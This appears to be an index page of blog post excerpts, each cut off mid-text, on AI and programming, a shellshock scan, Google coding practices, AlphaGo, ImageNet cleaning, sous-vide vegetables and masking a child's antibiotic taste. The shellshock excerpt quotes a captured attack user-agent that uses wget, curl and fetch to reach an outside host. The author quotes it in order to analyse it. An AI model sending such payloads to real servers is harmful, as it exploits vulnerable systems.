Don't quit that programming career yet because of AI

A recent Wired article breathlessly predicted  the end of code: Soon We Won’t Program Computers. We’ll Train Them Like Dogs Of course, this is the same magazine that declared in 2010 that The Web is Dead .  So perhaps we should step back and think before throwing in the towel.  Have you looked  at a self-driving car recently? Self-driving car (image from Google ) In this simplified diagram blatantly stolen from Google, there's a laser scanner, a radar, a compass, speed sensors - missing are the cameras, the engine computer, the onboard computers, the cellular uplinks, the data recorders, the onboard entertainment system (which will hopefully get even more use when the driver gets to play also).  And the backup systems, which are often redundantly engineered and even separately programmed to avoid coordinated failure.  Each of these devices has substantial embedded firmware controlling them, and per-device processing in order to control them and make sense of the data t

Indirect shellshock security scanning via other people's logfiles

One of my friends noted that he'd spotted a shellshock-style user-agent string in his web log files, looking like: 24.71.248.218 - - [28/Apr/2016:16:55:30 -0500] "GET / HTTP/1.1" 403 4961 "-" "() { :; }; /bin/sh -c 'wget http://closettransfer.com/IPTRANSITTEST -O /dev/null;wget1 http://closettransfer.com/IPTRANSITTEST -O /dev/null;curl http://closettransfer.com/IPTRANSITTEST -o /dev/null;/usr/sfwbin/wget http://closettransfer.com/IPTRANSITTEST;fetch -/dev/null http://closettransfer.com/IPTRANSITTEST'" Curious about whether it was a legitimate domain (perhaps owned), I googled the domain name: Seasonally-appropriate designer labels.  Doesn't really seem like the kind of thing a white-hat security scanner would be pretending to be.  Was the domain compromised and I should try to notify them? Hmm.  What the heck - try to download the page:  --2016-04-30 13:38:26--  http://closettransfer.com/IPTRANSITTEST   Resolving closettransfer.

Stealing Google's Coding Practices for Academia

I'm spending the year in Google's Visiting Faculty program.  I had a few goals for my experience here: Learn learn learn !  I hoped to get a different perspective from the inside of the largest collection of computing & distributed systems that the world has ever seen, and to learn enough about machine learning to think better about providing systems support for it.  I haven't been disappointed. Do some real engineering .  I spend most of my time as a faculty member teaching & mentoring my Ph.D. students in research.  I love this - it's terribly fun and working with fantastic students is an incredibly rewarding experience.  But I also get a lot of creative satisfaction from coding, and I can only carve out a bit of my faculty time to dedicate to it.  I haven't written large amounts of production code since I was 21 - and the world has changed a lot since then.   Contribute something useful to Google while I was here.  They're paying my salary for t

AlphaGo is a triumph for humanity

... and not something to be afraid of. As anyone who hasn't been hiding under a rock knows, Google Deepmind's AlphaGo program decisively won its third game in a row  against grandmaster Lee Sedol. First of all, I argue that we shouldn't find this surprising :  We're still riding the exponential wave of the growth of computing power in hardware, and when that's coupled in significant software advances such as deep neural networks, we get great things.  Go, despite its massive positional complexity, is still the kind of thing that computers excel at:  It has a precisely defined objective and rules, it admits a fairly compact representation, and exists entirely within the world of bits. Second, I argue that this is an excellent excuse for all of humanity to pat itself on the back.  Consider what went in to the AlphaGo victory: The Nature paper version of AlphaGo is noted to have used 1206 CPUs and 176 GPUs .  The details are vague, but for our purposes don'

Cleaning the Imagenet Dataset, collected notes

As part of my sabbatical at Google, I spent the last month working on processing images from the Imagenet Large Scale Visual Recognition Challenge (ILSVRC 2012) dataset  using  Tensorflow .  (Note that I've linked to the '14 dataset because it contains the image blacklist I discuss below, but the it has the same classification images as the '12 dataset). As is well-known enough that there's an entire subreddit dedicated to it , cleaning data before feeding it into a machine learning system is both time-consuming and somewhat annoying.  Despite being a curated "challenge" dataset, it turns out that ILSVRC'12 needs cleaning as well.  Much of this is known already among people who use the dataset, but with the recent explosion in popularity of machine and deep learning, I figured I'd put my collected notes here to save others the time. Without further ado, the ILSVRC 2014 Data Gotchas: Images in the wrong format: (1)  Unlike each of its ~million

Vegan sous-vide recipes #1

Sous vide immersion cookers (I use the Anova ) have become cheap and easily available - under $200, clamp on to the side of your pot, life is happy.  The Internet abounds about tales of meat cooked for hours until perfectly tender;  eggs cooked to perfection in a dozen ways.  But what about our dear vegetable friends? I'm keeping a little journal of my journey through sous vide veggies - hope it's useful! The Wins Thus Far The biggest win has been ... starchy roots ! Following Kenji @ The Food Lab's suggestion , I threw three sweet potatoes, three potatoes, and three large beets in individual bags for about 2h at 150F.  After that, I removed them from their bags, and diced them into small dice and roasted them at 350 for about 45 minutes, tossed with a mix of salt, MSG, better than bouillon no-chicken base,  and canola oil.  Fantastic!  The two hours at 150F really bring out the natural sweetness of the roots, and the results had great happiness. A surprising bene

Masking the taste of Augmentin - with candy canes

Or, "how to convince a child with pneumonia to take her antibiotics, part 1 of ... hopefully 1." My 3.5 y/o daughter came down with pneumonia last week.  While it turns out to probably have been viral, she was prescribed Augmentin (amoxicillin + clavulanic acid), and instructed to finish it. She.  Hates.  Augmentin. With a passion unmatched by anything I've seen.  As far as I can tell, this is one of the most singularly nasty-tasting medicines we try to give kids.  And we didn't get it flavored.  The straight stuff causes her to gag and/or vomit. So, in the spirit of trying to educate a budding young experimentalist, we conducted a sequence of experiments, lining up three spoons-full of augmentin mixed with various substances to dilute it.  I asked her to tell me which of the three had the best taste.  Each spoonful contained about 0.25ml augmentin suspension to about 0.25 tsp of masking agent. I can't guarantee that anyone else's preferences will m